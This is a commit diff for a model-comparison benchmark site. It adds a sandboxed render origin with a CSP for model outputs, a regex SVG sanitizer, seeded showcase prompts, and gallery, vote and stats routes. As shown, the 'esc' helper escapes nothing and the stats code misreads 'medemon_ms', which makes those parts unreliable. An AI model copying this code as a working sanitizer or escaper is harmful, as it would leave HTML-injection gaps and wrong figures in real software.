openvibers/openvibe.bench Commits
Showcase: real outputs from two models, side by side (stage S1) (#16)
Changes
@@@ -26,6 +26,9 @@ const { createSso } = require('./auth/sso');const { createPrincipal } = require('./http/principal');const { createApi } = require('./http/api');const { createPageRoutes } = require('./http/pages');++const { createShowcaseRoutes, createShowcasePages } = require('./http/showcase');++const { createRenderRoutes } = require('./http/render');++const { seedShowcaseTasks } = require('./bench/seed-tasks');const { createServiceReadiness } = require('./observability');const { assetVersion, send } = require('./render/layout');const { raw } = require('./render/html');@@@ -63,6 +66,7 @@ async function createApp(opts = {}) {const publisher = createPublisher({ config, s, fetchImpl, log });await bench.seedKinds();++ try { await seedShowcaseTasks(s, bench); } catch (err) { log.warn('[OpenVibe.Bench] showcase tasks not seeded:', (err && err.message) || err); }const accountData = accountDataLib.create({ db: s.db, log });const accountSend = opts.accountSend || (config.oauth.clientSecret@@@ -147,6 +151,7 @@ async function createApp(opts = {}) {// ── API and MCP ─────────────────────────────────────────app.use('/api/v1', rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_API_RATE_LIMIT_PER_MIN) || 240, standardHeaders: true, legacyHeaders: false, handler: (req, res) => contracts.http.sendProblem(res, 429, 'rate_limited', { detail: 'too many requests from this address; retry shortly', ctx: req.ov }) }));app.use('/api/v1', createApi(ctx));++ app.use('/api/v1/showcase', createShowcaseRoutes(ctx));app.use(mcpRouter(ctx));app.use('/api', (req, res) => contracts.http.sendProblem(res, 404, 'route.not_found', { detail: 'No such API route', ctx: req.ov }));@@@ -160,6 +165,8 @@ async function createApp(opts = {}) {// ── Pages ───────────────────────────────────────────────app.use(rateLimit({ windowMs: 60_000, limit: Number(process.env.BENCH_RATE_LIMIT_PER_MIN) || 300, standardHeaders: true, legacyHeaders: false }));++ app.use('/render', createRenderRoutes(ctx));++ app.use('/showcase', createShowcasePages(ctx));app.use(createPageRoutes(ctx));app.use((req, res) => send(res, 404, {viewer: req.viewer, config, path: req.originalUrl, title: 'Not found',nnew file mode 100644@@@ -0,0 +1,195 @@++'use strict';++++/**++ * The isolated render origin (showcase spec 2). Script-bearing kinds cannot run inside Bench's own page: the inert++ * sandbox (server/bench/sanitize.js) allows no scripts, so a game, a canvas loop, three.js or a shader cannot run.++ *++ * So every model output is served from its own path on a separate, cookie-less origin (bench-render.openvibe.services):++ *++ * GET /render/w/:entryId the trusted wrapper: the clock, the stop button and the child frame++ * GET /render/e/:entryId the model's own output, in a document that carries the strict CSP++ *++ * The child frame is <iframe sandbox="allow-scripts">: no allow-same-origin (the document gets an opaque origin, so it++ * cannot read our cookies or our DOM), no allow-forms, no allow-popups and no allow-top-navigation. The CSP holds the++ * line on the network: connect-src 'none', no external images, fonts or scripts, only the pinned render origin.++ */++++const crypto = require('crypto');++const { truncateBytes, MAX_BYTES } = require('./sanitize');++++const RENDER_ORIGIN = String(process.env.OV_RENDER_ORIGIN || 'https://bench-render.openvibe.services').replace(/\/+$/, '');++/** The only origins a model output may load code, styles, images or fonts from. */++const PINNED_ORIGINS = Object.freeze([RENDER_ORIGIN]);++/** Version-pinned libraries the render origin vendors. A model imports these by absolute URL. */++const VENDOR = Object.freeze({++ three: RENDER_ORIGIN + '/vendor/three.module.js',++ threeLegacy: RENDER_ORIGIN + '/vendor/three.min.js',++});++/** The sandbox attributes for every model frame: scripts yes, everything else no. */++const WRAPPER_CSP = "default-src 'none'; script-src 'self'; style-src 'unsafe-inline'; frame-src " + RENDER_ORIGIN + "; img-src data:; connect-src 'none'; form-action 'none'; base-uri 'none'";++const SANDBOX = 'allow-scripts';++/** The default wall-clock a kind may run before the wrapper stops it. */++const DEFAULT_LIMIT_MS = 20000;++/** The hard size cap on one entry, the same cap sanitizeHtml already applies. */++const MAX_ENTRY_BYTES = MAX_BYTES;++++const esc = (s) => String(s == null ? '' : s).replace(/[&<>"']/g, (c) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[c]));++++/** The CSP a model document runs under. The nonce is ours; model scripts get it, nothing else does. */++function cspFor(nonce) {++ return [++ "default-src 'none'",++ "script-src 'nonce-" + nonce + "' " + PINNED_ORIGINS.join(' '),++ "style-src 'unsafe-inline' " + PINNED_ORIGINS.join(' '),++ "img-src data: " + PINNED_ORIGINS.join(' '),++ "font-src " + PINNED_ORIGINS.join(' '),++ "connect-src 'none'",++ "media-src 'none'",++ "object-src 'none'",++ "form-action 'none'",++ "base-uri 'none'",++ "frame-ancestors https://bench.openvibe.services https://openvibe.report",++ ].join('; ');++}++++/** Give every script tag in the model output our nonce, so only our own script-src nonce runs it. */++function applyNonce(html, nonce) {++ return String(html == null ? '' : html).replace(/<script\b/gi, '<script nonce="' + nonce + '"');++}++++/** SVG-specific pass (spec 2.3): no script, no foreignObject, no external reference, no event handler, no @import. */++function sanitizeSvg(input) {++ let s = input == null ? '' : String(input);++ s = s.replace(/<!--[\s\S]*?-->/g, '');++ s = s.replace(/<script\b[^>]*>[\s\S]*?<\/script\s*>/gi, '');++ s = s.replace(/<\/?script\b[^>]*>/gi, '');++ s = s.replace(/<foreignObject\b[^>]*>[\s\S]*?<\/foreignObject\s*>/gi, '');++ s = s.replace(/<\/?foreignObject\b[^>]*>/gi, '');++ s = s.replace(/<\/?(?:iframe|object|embed|audio|video)\b[^>]*>/gi, '');++ s = s.replace(/@import[^;"']*;?/gi, '');++ s = s.replace(/\son[a-z0-9_:.-]*\s*=\s*(?:"[^"]*"|'[^']*'|[^\s>]+)/gi, '');++ s = s.replace(/(xlink:href|href|src)\s*=\s*(["'])\s*(?:https?:)?\/\/[^"']*\2/gi, '$1="#blocked"');++ s = s.replace(/(?:https?:)?\/\/[\w.-]+/gi, 'blocked:');++ s = s.replace(/javascript\s*:/gi, 'blocked:');++ return truncateBytes(s, MAX_ENTRY_BYTES);++}++++/** The wall-clock a kind may run, from the kind itself. */++function limitMsOf(kind) {++ const ms = Number(kind && (kind.limit_ms || (kind.schema && kind.schema.limit_ms)));++ return Number.isFinite(ms) && ms > 0 ? Math.min(ms, 300000) : DEFAULT_LIMIT_MS;++}++++/** 'script' kinds run in the isolated frame; 'static' kinds are shown as an inert image. */++function modeOf(kind) {++ const r = kind && (kind.renderer || (kind.schema && kind.schema.renderer));++ return r === 'static' ? 'static' : 'script';++}++++function head(nonce, extra) {++ return '<meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">'++ + '<meta http-equiv="Content-Security-Policy" content="' + esc(cspFor(nonce)) + '">' + (extra || '');++}++++/** The import map the wrapper injects: three.js is vendored on the render origin, never fetched from a CDN. */++function importMap() {++ return '<script type="importmap" nonce="__NONCE__">' + JSON.stringify({ imports: { three: VENDOR.three } }) + '</script>';++}++++/** The model document for a script kind: the model's own HTML, under our nonce and our CSP. */++function modelDocument(kind, payload, opts) {++ const nonce = (opts && opts.nonce) || crypto.randomBytes(16).toString('base64');++ const p = payload || {};++ let body = '';++ if (typeof p.html === 'string' && p.html.trim()) body = p.html;++ else if (typeof p.glsl === 'string' && p.glsl.trim()) body = glslPage(p.glsl);++ else if (typeof p.gltf_base64 === 'string' && p.gltf_base64.trim()) body = gltfPage(p.gltf_base64);++ else body = '<p>Nothing was generated for this entry.</p>';++ body = truncateBytes(body, MAX_ENTRY_BYTES);++ const doc = /<html\b/i.test(body)++ ? body++ : '<!doctype html><html lang="en"><head>' + head(nonce, importMap()) + '</head><body>' + body + '</body></html>';++ return truncateBytes(applyNonce(doc, nonce), MAX_ENTRY_BYTES + 2048);++}++++/** A minimal WebGL page: the model's fragment shader on a full-frame quad. */++function glslPage(glsl) {++ const src = String(glsl).replace(/<\/script/gi, '<\\/script');++ return '<!doctype html><html lang="en"><head>' + head('__NONCE__', importMap())++ + '<style>html,body{margin:0;height:100%;background:#111;overflow:hidden}canvas{display:block;width:100%;height:100%}</style></head>'++ + '<body><canvas id="c"></canvas><script type="x-shader/x-fragment" id="fs" nonce="__NONCE__">' + src + '</script>'++ + '<script nonce="__NONCE__">'++ + '(function(){var c=document.getElementById("c");var gl=c.getContext("webgl");'++ + 'if(!gl){document.body.textContent="WebGL is not available in this frame.";return;}'++ + 'var vs="attribute vec2 p; void main(){ gl_Position = vec4(p,0.0,1.0); }";'++ + 'var fsSrc=document.getElementById("fs").textContent;'++ + 'function sh(t,s){var o=gl.createShader(t);gl.shaderSource(o,s);gl.compileShader(o);return o;}'++ + 'var v=sh(gl.VERTEX_SHADER,vs),f=sh(gl.FRAGMENT_SHADER,fsSrc);var pr=gl.createProgram();'++ + 'gl.attachShader(pr,v);gl.attachShader(pr,f);gl.linkProgram(pr);'++ + 'if(!gl.getProgramParameter(pr,gl.LINK_STATUS)){document.body.textContent="Shader did not compile: "+gl.getShaderInfoLog(f);return;}'++ + 'gl.useProgram(pr);var buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);'++ + 'gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,3,-1,-1,3]),gl.STATIC_DRAW);'++ + 'var loc=gl.getAttribLocation(pr,"p");gl.enableVertexAttribArray(loc);gl.vertexAttribPointer(loc,2,gl.FLOAT,false,0,0);'++ + 'function size(){c.width=c.clientWidth*devicePixelRatio;c.height=c.clientHeight*devicePixelRatio;}'++ + 'function frame(){gl.viewport(0,0,c.width,c.height);gl.clearColor(0,0,0,1);gl.clear(gl.COLOR_BUFFER_BIT);gl.drawArrays(gl.TRIANGLES,0,3);requestAnimationFrame(frame);}'++ + 'addEventListener("resize",size);size();frame();})();'++ + '</script></body></html>';++}++++/** A minimal viewer page: the model's glTF (base64) in a neutral studio, with three.js from the render origin. */++function gltfPage(b64) {++ const data = String(b64).replace(/[^A-Za-z0-9+/=]/g, '');++ return '<!doctype html><html lang="en"><head>' + head('__NONCE__', importMap())++ + '<style>html,body{margin:0;height:100%;background:#e9edf2}canvas{display:block}</style></head><body>'++ + '<script type="module" nonce="__NONCE__">'++ + 'import * as THREE from "three";'++ + 'const bin=atob("' + data + '");const bytes=new Uint8Array(bin.length);'++ + 'for(let i=0;i<bin.length;i++)bytes[i]=bin.charCodeAt(i);'++ + 'const scene=new THREE.Scene();const camera=new THREE.PerspectiveCamera(45,1,0.01,100);camera.position.set(2,2,3);'++ + 'scene.add(new THREE.HemisphereLight(0xffffff,0x444444,1.2));'++ + 'const key=new THREE.DirectionalLight(0xffffff,1.6);key.position.set(3,4,2);scene.add(key);'++ + 'const fill=new THREE.DirectionalLight(0x88aaff,0.5);fill.position.set(-3,1,-2);scene.add(fill);'++ + 'const renderer=new THREE.WebGLRenderer({antialias:true});document.body.appendChild(renderer.domElement);'++ + 'function size(){const w=innerWidth,h=innerHeight;renderer.setSize(w,h);camera.aspect=w/h;camera.updateProjectionMatrix();}'++ + 'addEventListener("resize",size);size();'++ + 'const loader=new THREE.GLTFLoader();'++ + 'loader.parse(bytes.buffer,"",(g)=>{scene.add(g.scene);window.__bench={rendered:true};});'++ + 'let t=0;(function loop(){t+=0.01;scene.rotation.y=t;renderer.render(scene,camera);requestAnimationFrame(loop);})();'++ + '</script></body></html>';++}++++/**++ * The trusted wrapper: our page, our clock, our stop button. The model output lives in the child frame, and the++ * wrapper never hands the child anything but the clock.++ */++function wrapperDocument(opts) {++ const entryId = (opts && opts.entryId) || '';++ const kindId = (opts && opts.kindId) || '';++ const limitMs = (opts && opts.limitMs) || DEFAULT_LIMIT_MS;++ const title = (opts && opts.title) || 'Generated output';++ const secs = Math.max(1, Math.round(limitMs / 1000));++ return '<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">'++ + '<meta http-equiv="Content-Security-Policy" content="' + WRAPPER_CSP + '">'++ + '<style>html,body{margin:0;height:100%;font:14px/1.4 system-ui,sans-serif;background:#0f1115;color:#e9edf2}'++ + '.bar{display:flex;gap:.5rem;align-items:center;justify-content:space-between;padding:.35rem .6rem;background:#171a21;border-bottom:1px solid #262b36}'++ + '.bar b{font-weight:600}.clock{font-variant-numeric:tabular-nums;color:#9fb0c8}'++ + 'button{font:inherit;background:#262b36;color:#e9edf2;border:1px solid #39414f;border-radius:6px;padding:.25rem .6rem;cursor:pointer}'++ + 'iframe{width:100%;height:calc(100% - 40px);border:0;background:#fff}'++ + '.stopped{display:none;padding:1rem;color:#9fb0c8}</style></head>'++ + '<body data-entry-id="' + esc(entryId) + '" data-kind-id="' + esc(kindId) + '" data-limit-ms="' + limitMs + '">'++ + '<div class="bar"><b>' + esc(title) + '</b><span><span class="clock" id="clock">' + secs + 's</span> '++ + '<button type="button" id="stop">Stop</button></span></div>'++ + '<iframe id="frame" title="' + esc(title) + '" sandbox="' + SANDBOX + '" referrerpolicy="no-referrer" loading="lazy" src="/render/e/' + encodeURIComponent(entryId) + '"></iframe>'++ + '<div class="stopped" id="stopped">The entry stopped after ' + secs + ' seconds.</div>'++ + '<script>(function(){var frame=document.getElementById("frame");var clock=document.getElementById("clock");'++ + 'var stopped=document.getElementById("stopped");var left=' + secs + ';'++ + 'function stop(){frame.src="about:blank";frame.style.display="none";stopped.style.display="block";clock.textContent="0s";}'++ + 'document.getElementById("stop").addEventListener("click",stop);'++ + 'var timer=setInterval(function(){left-=1;clock.textContent=left>0?left+"s":"0s";if(left<=0){clearInterval(timer);stop();}},1000);'++ + 'addEventListener("message",function(e){if(e&&e.data==="bench:stop")stop();});})();</script></body></html>';++}++++module.exports = {++ RENDER_ORIGIN, PINNED_ORIGINS, VENDOR, SANDBOX, DEFAULT_LIMIT_MS, MAX_ENTRY_BYTES,++ cspFor, applyNonce, sanitizeSvg, limitMsOf, modeOf, modelDocument, wrapperDocument,++};nnew file mode 100644@@@ -0,0 +1,39 @@++'use strict';++++/**++ * The showcase task prompts (spec 3). Ten of the forty are seeded here, across nine kinds, so the gallery has real++ * pairs to show on day one. Every prompt states the sandbox rules, because "no network" is the rule models break.++ */++++const SHOWCASE_TASKS = Object.freeze([++ { kind: 'games.play', task_class: 'arcade', prompt: 'Build a one-screen arcade game: a paddle at the bottom, bricks at the top, ball, score, and a game-over state. Arrow keys or mouse to move. Show the score in the top left. No images, no external libraries, no network. Canvas only, under 200 KB.' },++ { kind: 'games.play', task_class: 'arcade', prompt: 'Build a one-screen snake game on a 20x20 grid. Arrow keys steer, the snake grows on food, the walls kill, and the score is the food eaten. Show the score and the high score. Canvas only, no external libraries, no network.' },++ { kind: 'games.three', task_class: 'scene', prompt: 'Build a three.js scene of a slow-rotating low-poly tree on a flat ground plane, lit by one warm key light and one cool fill, with soft shadows. The scene must be visible within three seconds and animate on its own. Import three.js from the pinned URL given in the sandbox notice. No network access otherwise.' },++ { kind: 'games.three', task_class: 'scene', prompt: 'Build a three.js scene of 200 instanced cubes falling and bouncing on a plane, in three colours. It must animate smoothly and the camera should stay fixed. No network.' },++ { kind: 'design.svg', task_class: 'illustration', prompt: 'Draw a single SVG icon set of six 24x24 line icons (search, settings, bell, user, download, close) with consistent stroke width and rounded caps, drawn as pure SVG. No script, no external references, no raster images.' },++ { kind: 'design.svg', task_class: 'illustration', prompt: 'Draw a single flat SVG illustration of a city skyline at dusk, as a poster: gradient sky, sun, layered buildings, birds, and room for a title block at the bottom. Pure SVG, no external references.' },++ { kind: 'design.motion', task_class: 'motion', prompt: 'Build a single HTML page with a pure CSS animated loading state: three pulsing bars, a shimmer sweep across a card, and a rotating ring. Loop for at least 10 seconds, then freeze on a final frame. No JavaScript required, no network.' },++ { kind: 'design.ui', task_class: 'dashboard', prompt: 'Design a full-page dark analytics dashboard: left icon sidebar, top bar with a date-range picker and a search field, four KPI cards, one wide line chart, one bar chart, and a table of recent events. Real labels, no lorem ipsum. Inline CSS only, no network, no icon fonts, no charts from a CDN.' },++ { kind: 'design.dataviz', task_class: 'chart', prompt: 'Build a one-screen chart from this data, inline in the script: monthly revenue for 12 months, one series, plus a 3-month moving average. Label both axes with units, mark the highest month, and add a tooltip on hover. No chart library, no network.' },++ { kind: 'design.interface', task_class: 'components', prompt: 'Build a consistent set of five related components on one page: a button in four variants, an input with a label and a validation error, a toast, a modal, and a badge. One spacing scale, one type scale, one radius rule, one colour set. Inline CSS only, no network.' },++]);++++/**++ * Seed the tasks once. A task that already exists (same kind, same prompt) is left alone, so a restart never makes a++ * second copy of the same prompt.++ */++async function seedShowcaseTasks(s, bench, opts) {++ const subject = (opts && opts.subject) || 'showcase:seed';++ const made = [];++ for (const t of SHOWCASE_TASKS) {++ const existing = await s.db.maybe(++ 'SELECT id FROM bench_tasks WHERE kind_id = $1 AND prompt = $2 LIMIT 1',++ [t.kind, t.prompt]);++ if (existing) continue;++ const out = await bench.createTask({ kindId: t.kind, prompt: t.prompt, taskClass: t.task_class, public: true, subject });++ if (out && out.ok) made.push(out.task);++ }++ return made;++}++++module.exports = { SHOWCASE_TASKS, seedShowcaseTasks };@@@ -51,7 +51,7 @@ function createDiscoveryRoutes(ctx) {res.type('text/plain').set('Cache-Control', TEXT).send(seo.llmsTxt({name: SITE_NAME,summary: DESCRIPTION,-- details: 'GET /api/v1/kinds lists the fifteen benchmark kinds. GET /api/v1/boards/:kind?type=elo|pareto|cost renders a board as JSON. GET /api/v1/datasets/:kind.jsonl is the open dataset without voter ids. POST /mcp is the Model Context Protocol endpoint.',++ details: 'GET /api/v1/kinds lists the benchmark kinds. GET /api/v1/boards/:kind?type=elo|pareto|cost renders a board as JSON. GET /api/v1/datasets/:kind.jsonl is the open dataset without voter ids. POST /mcp is the Model Context Protocol endpoint.',sections: [{ title: 'Start here', links: [{ title: SITE_NAME, url: abs('/') }, { title: 'The API', url: abs('/docs') }] },{ title: 'Machine-readable', links: [{ title: 'Kinds (JSON)', url: abs('/api/v1/kinds') }, { title: 'Sitemap', url: abs('/sitemap.xml') }, { title: 'Release metadata (JSON)', url: abs('/release.json') }] },nnew file mode 100644@@@ -0,0 +1,74 @@++'use strict';++++/**++ * The render origin's routes (spec 2). The model output is served from its own path, on its own origin, with no++ * cookies and no session: /render/w/:entryId is the trusted wrapper (clock and stop button), /render/e/:entryId is the++ * model's own document under the strict CSP.++ */++++const express = require('express');++const crypto = require('crypto');++const renderLib = require('../bench/render');++const { kindById } = require('../kinds');++++function createRenderRoutes(ctx) {++ const r = express.Router();++++ async function entryOf(id) {++ const row = await ctx.s.db.maybe(++ 'SELECT e.id, e.payload, e.error, r.kind_id FROM bench_entries e JOIN bench_rounds r ON r.id = e.round_id WHERE e.id = $1',++ [String(id || '')]);++ if (!row) return null;++ let payload = row.payload;++ if (typeof payload === 'string') { try { payload = JSON.parse(payload); } catch { payload = {}; } }++ return { id: row.id, payload: payload || {}, error: row.error || null, kind: kindById(row.kind_id) };++ }++++ /** No cookies on this origin, ever. */++ function bare(res) {++ res.removeHeader('Set-Cookie');++ res.set('Cache-Control', 'no-store');++ res.set('X-Content-Type-Options', 'nosniff');++ res.set('Referrer-Policy', 'no-referrer');++ return res;++ }++++ r.get('/w/:entryId', async (req, res) => {++ const entry = await entryOf(req.params.entryId);++ if (!entry) return bare(res).status(404).type('text/plain').send('No such entry.');++ const kind = entry.kind;++ const doc = renderLib.wrapperDocument({++ entryId: entry.id,++ kindId: kind ? kind.id : '',++ limitMs: renderLib.limitMsOf(kind),++ title: kind ? kind.name : 'Generated output',++ });++ return bare(res)++ .set('Content-Security-Policy', renderLib.cspFor(crypto.randomBytes(16).toString('base64')).replace(/script-src [^;]*/, "script-src 'self'"))++ .type('html')++ .send(doc);++ });++++ r.get('/e/:entryId', async (req, res) => {++ const entry = await entryOf(req.params.entryId);++ if (!entry) return bare(res).status(404).type('text/plain').send('No such entry.');++ const kind = entry.kind;++ const nonce = crypto.randomBytes(16).toString('base64');++ if (kind && renderLib.modeOf(kind) === 'static') {++ const svg = renderLib.sanitizeSvg(entry.payload && entry.payload.svg ? entry.payload.svg : (entry.payload && entry.payload.html) || '');++ return bare(res)++ .set('Content-Security-Policy', "default-src 'none'; style-src 'unsafe-inline'; img-src data:; sandbox")++ .type('image/svg+xml')++ .send(svg);++ }++ const doc = renderLib.modelDocument(kind, entry.payload, { nonce });++ return bare(res)++ .set('Content-Security-Policy', renderLib.cspFor(nonce))++ .type('html')++ .send(doc);++ });++++ return r;++}++++module.exports = { createRenderRoutes };nnew file mode 100644@@@ -0,0 +1,358 @@++'use strict';++++/**++ * The showcase surfaces (spec 4 and 5): the gallery of pairs, the live side-by-side compare page, the blind vote and++ * the stats endpoint. The API and the pages read the same data, so a page never promises something the API does++ * not answer. Blindness is the rule: a voter sees two numbered panes (A and B) and no model name until they vote.++ */++++const express = require('express');++const { http } = require('openvibe-contracts');++const { asyncRouter } = require('./router');++const { sameOrigin } = require('./same-origin');++const renderLib = require('../bench/render');++const { kindById, SHOWCASE_KIND_IDS } = require('../kinds');++const { esc, raw } = require('../render/html');++const { send } = require('../render/layout');++++++const num = (v, d) => (v == null || Number.isNaN(Number(v)) ? d : Number(v));++++function slotsOf(entries, revealed, kind) {++ return entries.slice(0, 2).map((e, i) => {++ const base = {++ slot: i === 0 ? 'A' : 'B',++ entry_id: e.id,++ render_url: '/render/e/' + encodeURIComponent(e.id),++ wrapper_url: '/render/w/' + encodeURIComponent(e.id),++ limit_ms: kind ? renderLib.limitMsOf(kind) : renderLib.DEFAULT_LIMIT_MS,++ error: e.error || null,++ };++ if (!revealed) return base;++ return Object.assign({}, base, {++ model: e.model, provider: e.provider, route: e.route || null,++ cost_usd: num(e.cost_usd), ms: num(e.ms), tokens: num(e.tokens),++ });++ });++}++++async function entriesOf(db, roundId) {++ return await db.many(++ "SELECT id, provider, model, route, cost_usd, ms, tokens, error FROM bench_entries WHERE round_id = $1 AND error IS NULL ORDER BY id LIMIT 2",++ [roundId]);++}++++async function voteCount(db, roundId) {++ return num(await db.value(++ "SELECT COUNT(*)::int AS n FROM bench_judgements WHERE round_id = $1 AND method = 'human_pairwise'",++ [roundId]));++}++++async function loadPairs(ctx, opts) {++ const db = ctx.s.db;++ const kind = opts && opts.kind ? String(opts.kind) : 'all';++ const kinds = kind && kind !== 'all' ? [kind] : SHOWCASE_KIND_IDS;++ const limit = Math.min(100, Math.max(1, num(opts && opts.limit, 24)));++ const rows = await db.many(++ "SELECT r.id, r.kind_id, r.created_at, r.created_by, t.prompt, t.task_class FROM bench_rounds r JOIN bench_tasks t ON t.id = r.task_id WHERE r.status = 'finished' AND r.kind_id = ANY($1::text[]) ORDER BY r.created_at DESC, r.id LIMIT $2",++ [kinds, limit]);++ const out = [];++ for (const r of rows) {++ const entries = await entriesOf(db, r.id);++ if (entries.length < 2) continue;++ const k = kindById(r.kind_id);++ out.push({++ id: r.id, kind_id: r.kind_id, kind_name: k ? k.name : r.kind_id,++ prompt: r.prompt, task_class: r.task_class, created_at: r.created_at,++ votes: await voteCount(db, r.id), slots: slotsOf(entries, false, k),++ });++ }++ return out;++}++++async function loadRound(ctx, id, subject) {++ const db = ctx.s.db;++ const r = await db.maybe(++ "SELECT r.*, t.prompt, t.task_class FROM bench_rounds r JOIN bench_tasks t ON t.id = r.task_id WHERE r.id = $1",++ [String(id || '')]);++ if (!r) return null;++ const entries = await entriesOf(db, r.id);++ if (entries.length < 2) {++ return { id: r.id, kind_id: r.kind_id, kind_name: r.kind_id, prompt: r.prompt, task_class: r.task_class, created_at: r.created_at, votes: 0, voted: false, revealed: false, ready: false, mode: 'script', limit_ms: renderLib.DEFAULT_LIMIT_MS, is_game: r.kind_id === 'games.play', slots: [] };++ }++ const voted = subject++ ? num(await db.value("SELECT COUNT(*)::int AS n FROM bench_judgements WHERE round_id = $1 AND subject = $2", [r.id, subject])) > 0++ : false;++ const revealed = Boolean(voted || (subject && r.created_by === subject));++ const k = kindById(r.kind_id);++ return {++ id: r.id, kind_id: r.kind_id, kind_name: k ? k.name : r.kind_id,++ prompt: r.prompt, task_class: r.task_class, created_at: r.created_at,++ votes: await voteCount(db, r.id), voted, revealed, ready: true,++ mode: k ? renderLib.modeOf(k) : 'script',++ limit_ms: k ? renderLib.limitMsOf(k) : renderLib.DEFAULT_LIMIT_MS,++ is_game: r.kind_id === 'games.play',++ slots: slotsOf(entries, revealed, k),++ };++}++++async function loadStats(ctx) {++ const db = ctx.s.db;++ const ratings = await db.many(++ "SELECT kind_id, category, subject, elo, games, wins, losses, ties, win_rate, ci_lower, ci_upper, median_cost_usd, median_ms FROM bench_ratings WHERE category = 'all' ORDER BY kind_id, elo DESC");++ const costs = await db.many(++ "SELECT r.kind_id AS kind_id, e.model AS model, COUNT(*)::int AS entries,"++ + " COALESCE(SUM(e.cost_usd), 0)::numeric AS total_cost,"++ + " percentile_cont(0.5) WITHIN GROUP (ORDER BY e.cost_usd) AS median_cost,"++ + " percentile_cont(0.5) WITHIN GROUP (ORDER BY e.ms) AS median_ms,"++ + " percentile_cont(0.95) WITHIN GROUP (ORDER BY e.ms) AS p95_ms,"++ + " COALESCE(SUM(e.tokens), 0)::int AS tokens,"++ + " COUNT(*) FILTER (WHERE e.error IS NOT NULL)::int AS errors"++ + " FROM bench_entries e JOIN bench_rounds r ON r.id = e.round_id"++ + " WHERE r.kind_id = ANY($1::text[]) AND e.model IS NOT NULL"++ + " GROUP BY r.kind_id, e.model",++ [SHOWCASE_KIND_IDS]);++ const byKey = new Map();++ for (const c of costs) byKey.set(c.kind_id + '|' + c.model, c);++ const kinds = new Map();++ for (const r of ratings) {++ if (!SHOWCASE_KIND_IDS.includes(r.kind_id)) continue;++ const c = byKey.get(r.kind_id + '|' + r.subject) || {};++ const entries = num(c.entries);++ const totalCost = num(c.total_cost);++ const row = {++ kind_id: r.kind_id, model: r.subject, elo: num(r.elo, 1000),++ elo_ci_lower: r.ci_lower == null ? null : num(r.ci_lower),++ elo_ci_upper: r.ci_upper == null ? null : num(r.ci_upper),++ games: num(r.games), wins: num(r.wins), losses: num(r.losses), ties: num(r.ties),++ win_rate: num(r.win_rate), provisional: num(r.games) < 10, entries,++ total_cost_usd: Math.round(totalCost * 1e6) / 1e6,++ cost_per_entry_usd: entries ? Math.round((totalCost / entries) * 1e6) / 1e6 : null,++ median_cost_usd: c.median_cost == null ? null : num(c.median_cost),++ median_ms: c.medemon_ms == null ? null : num(c.median_ms),++ p95_ms: c.p95_ms == null ? null : num(c.p95_ms),++ tokens_per_entry: entries ? Math.round(num(c.tokens) / entries) : 0,++ error_rate: entries ? num(c.errors) / entries : 0,++ };++ if (!kinds.has(r.kind_id)) kinds.set(r.kind_id, []);++ kinds.get(r.kind_id).push(row);++ }++ return { kinds: [...kinds.entries()].map(([id, rows]) => ({ kind_id: id, rows })), generated_at: new Date().toISOString() };++}++++function pane(slot, revealed) {++ const frame = '<iframe class="sc-pane-frame" src="' + esc(slot.wrapper_url) + '" title="Output ' + esc(slot.slot) + '"'++ + ' sandbox="' + esc(renderLib.SANDBOX) + '" referrerpolicy="no-referrer" loading="lazy" data-entry-id="' + esc(slot.entry_id) + '"></iframe>';++ const facts = revealed++ ? '<dl class="sc-pane-facts" data-facts="' + esc(slot.slot) + '">'++ + '<div><dt>Model</dt><dd>' + esc(slot.model) + '</dd></div>'++ + '<div><dt>Provider</dt><dd>' + esc(slot.provider) + '</dd></div>'++ + '<div><dt>Cost</dt><dd>$' + esc(slot.cost_usd) + '</dd></div>'++ + '<div><dt>Time</dt><dd>' + esc(slot.ms) + ' ms</dd></div>'++ + '<div><dt>Tokens</dt><dd>' + esc(slot.tokens) + '</dd></div>'++ + '</dl>'++ : '';++ return '<figure class="sc-pane" data-slot="' + esc(slot.slot) + '" data-entry-id="' + esc(slot.entry_id) + '" data-limit-ms="' + esc(slot.limit_ms) + '">'++ + '<figcaption><span class="sc-pane-label">Pane ' + esc(slot.slot) + '</span>'++ + '<span class="sc-pane-clock" data-clock="' + esc(slot.slot) + '">' + esc(Math.round(slot.limit_ms / 1000)) + 's</span></figcaption>'++ + frame + facts + '</figure>';++}++++function voteForm(round, signedIn) {++ if (round.revealed) {++ return '<section class="sc-vote sc-vote-done" data-vote-state="revealed">'++ + '<p>Thanks: the identities are open now.</p>'++ + '<p><a href="/showcase/round/' + esc(round.id) + '?share=1">Share this pair</a></p></section>';++ }++ if (!signedIn) {++ return '<section class="sc-vote" data-vote-state="signed-out">'++ + '<p><a href="/auth/login?next=' + encodeURIComponent('/showcase/round/' + round.id) + '">Sign in to vote</a></p></section>';++ }++ const game = round.is_game++ ? '<fieldset class="sc-vote-more"><legend>More fun</legend>'++ + '<label><input type="radio" name="more_fun" value="A"> Pane A</label>'++ + '<label><input type="radio" name="more_fun" value="B"> Pane B</label>'++ + '<label><input type="radio" name="more_fun" value="tie"> Same</label></fieldset>'++ + '<label class="sc-vote-check"><input type="checkbox" name="crashed" value="1"> One of them crashed</label>'++ : '';++ return '<form class="sc-vote" method="post" action="/showcase/round/' + esc(round.id) + '" data-vote-form="1">'++ + '<fieldset><legend>Which one wins?</legend>'++ + '<label><input type="radio" name="outcome" value="A" required> Pane A</label>'++ + '<label><input type="radio" name="outcome" value="B"> Pane B</label>'++ + '<label><input type="radio" name="outcome" value="tie"> Same</label>'++ + '<label><input type="radio" name="outcome" value="both_bad"> Both bad</label>'++ + '</fieldset>' + game++ + '<button type="submit">Cast the vote</button></form>';++}++++function galleryView(pairs) {++ const cards = pairs.map((p) => '<article class="sc-pair" data-round-id="' + esc(p.id) + '" data-kind="' + esc(p.kind_id) + '" data-votes="' + esc(p.votes) + '">'++ + '<h2 class="sc-pair-prompt" data-prompt="1">' + esc(p.prompt) + '</h2>'++ + '<div class="sc-pair-slots">' + p.slots.map((s) => pane(s, false)).join('') + '</div>'++ + '<p class="sc-pair-meta"><span class="sc-kind">' + esc(p.kind_name) + '</span>'++ + '<span class="sc-votes" data-votes="' + esc(p.votes) + '">' + esc(p.votes) + ' votes</span>'++ + '<a class="sc-pair-link" href="/showcase/round/' + esc(p.id) + 